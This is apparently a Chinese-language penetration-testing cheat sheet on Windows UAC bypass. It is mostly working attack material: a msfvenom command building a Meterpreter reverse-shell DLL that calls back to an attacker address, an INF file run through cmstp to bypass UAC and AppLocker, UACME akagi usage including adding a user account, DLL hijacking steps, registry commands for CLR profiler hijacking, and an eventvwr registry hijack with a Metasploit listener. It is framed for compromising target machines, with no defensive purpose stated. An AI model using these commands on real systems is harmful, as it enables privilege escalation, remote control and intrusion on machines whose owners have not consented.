MSF生成恶意DLL传入靶机
>msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.0.107 LPORT=12138 -f dll -o /var/www/html/cm.dll

DLL同目录下建立run.inf，RegisterOCXSection指定dll位置，也可以指定远程webdav
如：\\192.168.0.107\webdav\cm.dll
[version]
Signature=$chicago$
AdvancedINF=2.5
[DefaultInstall_SingleUser]
RegisterOCXs=RegisterOCXSection
[RegisterOCXSection]
C:\Users\y.SUB2K8\Desktop\cm.dll
[Strings]
AppAct = "SOFTWARE\Microsoft\Connection Manager"
ServiceName="cmstp"
ShortSvcName="cmstp"
执行命令可绕过UAC和Applocker上线
>cmstp /s run.inf

Uacme

包括DLL劫持，COM劫持等50多种bypass方法
https://github.com/hfiref0x/UACME

image

使用visual studio编译
Visual Studio 2013v120；
Visual Studio 2015v140；
Visual Studio 2017v141;
Visual Studio 2019v142。
目前共59种bypassuac方式
执行方法是
>akagi.exe 1
>akagi.exe 1 c:\windows\system32\cmd.exe
>akagi.exe 1 "net user 1 1 /add"
注意：
方式5，9会对目标安全性产生影响，谨慎使用，5需重启
方式6从win8开始在x64上不可用
方式11，54只支持x32 
方式13，19，30，50只支持x64
方式14需要进程注入，x64要使用x64的工具

DLL hijack

程序运行，调用DLL的流程
1.程序所在目录
2.系统目录即 SYSTEM32 目录
3.16位系统目录即 SYSTEM 目录
4.Windows目录
5.加载 DLL 时所在的当前目录
6.PATH环境变量中列出的目录
使用
https://docs.microsoft.com/zh-cn/sysinternals/downloads/sigcheck
检查一个程序的是否以高权限执行
>sigcheck.exe -m c:\1.exe
查看autoElevate是否为true

image

使用process monitor查看对应程序执行时调用的DLL情况，查找DLL不在
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs列表中，并且所在文件夹当前用户可读写，接下来生成恶意dll备份原DLL替换，再运行此程序即可劫持成功。

CLR BypassUAC

Tested on win10 x64
生成dll传入受控机temp目录，以下保存为1.bat执行。
REG ADD "HKCU\Software\Classes\CLSID\{FFFFFFFF-FFFF-FFFF-FFFF-FFFFFFFFFFFF}\InprocServer32" /ve /t REG_EXPAND_SZ /d "C:\Temp\test.dll" /f
REG ADD "HKCU\Environment" /v "COR_PROFILER" /t REG_SZ /d "{FFFFFFFF-FFFF-FFFF-FFFF-FFFFFFFFFFFF}" /f
REG ADD "HKCU\Environment" /v "COR_ENABLE_PROFILING" /t REG_SZ /d "1" /f
REG ADD "HKCU\Environment" /v "COR_PROFILER_PATH" /t REG_SZ /d "C:\Temp\test.dll" /f
受控机执行gpedit.msc或eventvwr等高权限.net程序时可劫持成功。

执行后

image image image

eventvwr劫持注册表

打开ProcessMonitor，启动eventvwr，ctrl+T打开进程树，选择进程转到事件

image

右键选择包括eventvwr.exe

image

只选择显示注册表活动

image

添加一条过滤器，显示not found文件

image

找到相应的注册表位置

image image

值修改为

image

MSF监听，再次打开eventvwr
